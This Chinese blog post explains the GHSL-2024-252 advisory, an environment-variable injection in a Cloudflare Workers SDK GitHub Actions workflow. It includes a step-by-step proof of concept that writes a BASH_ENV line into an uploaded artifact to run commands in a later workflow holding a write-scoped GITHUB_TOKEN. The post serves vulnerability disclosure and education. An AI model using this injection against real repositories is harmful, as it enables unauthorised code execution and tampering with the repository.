GHSL-2024-252: Cloudflare Workers SDK 环境变量注入漏洞解析

什么是环境变量注入漏洞?

环境变量注入漏洞是一种安全漏洞,攻击者可以通过修改环境变量来执行任意代码或泄露敏感信息。 在 Cloudflare Workers SDK 的工作流程文件 write-prerelease-comment.yml 中,存在一个环境变量注入的问题。攻击者可以通过修改上传的文件内容,向 GitHub 环境中注入新的环境变量(例如 BASH_ENV),从而在后续步骤中执行任意代码。


漏洞工作原理

  1. 触发机制

    • 当一个名为"Create Pull Request Prerelease"的工作流程结束时,会触发 write-prerelease-comment.yml 工作流程。

    • 此工作流程通过条件判断:

      ini 复制代码
      if: ${{ github.repository_owner == 'cloudflare' }}

      但在工作流程运行时,这个条件总为真,因为它运行在默认分支的上下文中,起不到保护作用。

  2. 下载并设置环境变量

    • 工作流程会下载触发流程上传的工件文件 runtime-versions.md

    • 然后通过如下代码将文件内容写入环境变量中:

      bash 复制代码
      {
        echo 'RUNTIME_VERSIONS<<EOF'
        cat runtime-versions.md
        echo EOF
      } >> "$GITHUB_ENV"
    • 如果工件文件中包含恶意内容(比如带有换行符的新环境变量定义),就可能注入恶意变量,例如 BASH_ENV。这样,当后续步骤运行 shell 命令时,恶意代码就会被执行。


复现步骤及示例代码

以下步骤和示例代码展示如何复现该漏洞(请在实验环境中操作,不建议在生产环境中测试):

  1. Fork 和克隆仓库

    bash 复制代码
    # Fork cloudflare/workers-sdk 后,克隆你的 Fork
    gh repo clone your-username/workers-sdk
    cd workers-sdk
  2. 新建分支

    css 复制代码
    git checkout -b poc
  3. 修改工作流程文件

    修改 .github/workflows/create-pullrequest-prerelease.yml 文件,内容示例如下:

    yaml 复制代码
    name: Create Pull Request Prerelease
    
    on:
      pull_request:
    
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - name: 生成 runtime-versions.md 文件
            run: |
              cat << 'EOF2' > runtime-versions.md
              FOO
              EOF2
              # 注入环境变量示例:将 BASH_ENV 设置为执行 id 命令的输出
              echo "BASH_ENV<<EOF3" >> runtime-versions.md
              echo "$(id 1>&2)" >> runtime-versions.md
              echo "EOF3" >> runtime-versions.md
          - name: 显示 runtime-versions.md 文件内容
            run: cat runtime-versions.md
          - name: 上传工件文件
            uses: actions/upload-artifact@v3
            with:
              name: runtime-versions.md
              path: runtime-versions.md
  4. 提交更改并创建 Pull Request

    sql 复制代码
    git add .
    git commit -m "添加恶意 Payload 演示"
    git push origin poc

    然后在 GitHub 上从 poc 分支创建一个 Pull Request。

  5. 观察执行结果

    • 等待 "Create Pull Request Prerelease" 流程执行完毕后,检查后续的 "Write prerelease comment" 流程。

    • 在 "Put runtime versions on the environment" 这一步骤中,如果文件中注入的 BASH_ENV 成功,输出中将显示类似如下的内容:

      scss 复制代码
      uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)

安全影响

由于该工作流程使用的 GITHUB_TOKEN 权限非常高,包括写入仓库内容等权限。详细权限如下:

  • Actions: write
  • Attestations: write
  • Checks: write
  • Contents: write
  • Deployments: write
  • Discussions: write
  • Issues: write
  • Metadata: read
  • Packages: write
  • Pages: write
  • PullRequests: write
  • RepositoryProjects: write
  • SecurityEvents: write
  • Statuses: write

如果攻击者成功注入恶意代码,就可能利用这些高权限进行进一步的攻击,如修改代码、创建恶意分支等。


总结

  • 问题核心 :环境变量注入漏洞允许攻击者通过上传恶意构造的文件,利用工作流程中不严格的验证将恶意环境变量写入 $GITHUB_ENV 中,从而执行任意代码。
  • 复现关键:通过修改触发工作流程上传的工件文件内容,注入带有换行符的恶意变量定义(如 BASH_ENV)。
  • 安全风险:攻击者可以利用高权限的 GITHUB_TOKEN 执行恶意操作,影响仓库安全。

通过以上解释和示例代码,希望能帮助大家更好地理解该漏洞的原理和风险,并引起对自动化工作流程中环境变量处理的重视。

相关推荐
PAK向日葵1 小时前
【算法导论】PDD 0817笔试题题解
算法·面试
uzong2 小时前
技术故障复盘模版
后端
GetcharZp3 小时前
基于 Dify + 通义千问的多模态大模型 搭建发票识别 Agent
后端·llm·agent
桦说编程3 小时前
Java 中如何创建不可变类型
java·后端·函数式编程
IT毕设实战小研3 小时前
基于Spring Boot 4s店车辆管理系统 租车管理系统 停车位管理系统 智慧车辆管理系统
java·开发语言·spring boot·后端·spring·毕业设计·课程设计
wyiyiyi4 小时前
【Web后端】Django、flask及其场景——以构建系统原型为例
前端·数据库·后端·python·django·flask
阿华的代码王国5 小时前
【Android】RecyclerView复用CheckBox的异常状态
android·xml·java·前端·后端
Jimmy5 小时前
AI 代理是什么,其有助于我们实现更智能编程
前端·后端·ai编程
草梅友仁5 小时前
草梅 Auth 1.4.0 发布与 ESLint v9 更新 | 2025 年第 33 周草梅周报
vue.js·github·nuxt.js
AntBlack5 小时前
不当韭菜V1.1 :增强能力 ,辅助构建自己的交易规则
后端·python·pyqt